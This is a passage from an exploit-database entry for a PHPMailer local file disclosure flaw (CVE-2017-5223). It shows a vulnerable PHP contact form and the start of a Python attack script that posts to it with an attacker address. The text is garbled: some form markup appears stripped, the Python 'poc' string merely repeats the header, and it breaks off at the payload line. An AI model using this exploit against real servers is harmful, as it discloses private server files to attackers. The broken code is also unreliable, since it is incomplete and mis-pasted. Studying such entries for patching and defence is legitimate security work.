# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223) # Date: 2017-10-25 # Exploit Author: Maciek Krupa # All credit only to Yongxiang Li of Asiasecurity # Software Link: https://github.com/PHPMailer/PHPMailer # Version: 5.2.21 # Tested on: Linux Debian 9 # CVE : CVE-2017-5223 // PoC // It requires a contact form that sends HTML emails and allows to send a copy to your e-mail // vulnerable form example // SetFrom($_POST["your-email"], $_POST["your-name"]); $address = "admin@localhost"; $mail->AddAddress($address, "root"); if (isset($_POST['cc'])) $mail->AddCC($_POST["your-email"], $_POST["your-name"]); $mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)"; $mail->MsgHTML($_POST["your-message"]); if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!"; } ?>

Send me a copy of this message

// exploit // Put in the message (or other file to disclose). // python code // #!/usr/bin/python import urllib import urllib2 poc = """ # Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223) # Date: 2017-10-25 # Exploit Author: Maciek Krupa # All credit only to Yongxiang Li of Asiasecurity # Software Link: https://github.com/PHPMailer/PHPMailer # Version: 5.2.21 # Tested on: Linux Debian 9 # CVE : CVE-2017-5223 """ url = 'http://localhost/contact.php' email = 'attacker@localhost' payload = '